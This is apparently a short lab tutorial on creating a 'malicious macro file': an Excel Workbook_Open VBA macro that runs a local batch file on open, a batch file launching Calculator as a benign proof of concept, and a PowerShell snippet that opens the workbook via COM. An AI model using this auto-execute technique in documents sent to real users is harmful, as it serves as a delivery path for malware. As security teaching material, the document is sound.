Environment
IP | HOSTNAME | NOTE |
|---|
| N/A | Win10 | Test host |
Related Scripts
| Contents | Download |
|---|
powershell script, bat script, and malicious macro file | Click to download |
VBA
VBA is a macro language derived from VisualBasic and a programming language used for general-purpose automation. VBA can automate various operations in Office software.
Create a Malicious Macro File
- Open
EXCEL, click Developer -> View Code -> click ThisWorkbook -> enter the VBA script -> as shown below:
- The
VBA code is as follows:
Private Sub Workbook_Open()
Dim Path As String
'specific bat path
Path = "E:\TempProjects\test.bat"
Shell (Path)
End Sub
- Then save it as a file with the
.xlsm extension:
- The
test.bat code is as follows; it opens Calculator:
start calc.exe
- Now click to open the malicious macro file. It automatically invokes the
test.bat script, as shown below:
- Write a
powershell script to automate the process:
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.open("E:\TempProjects\test.xlsm")
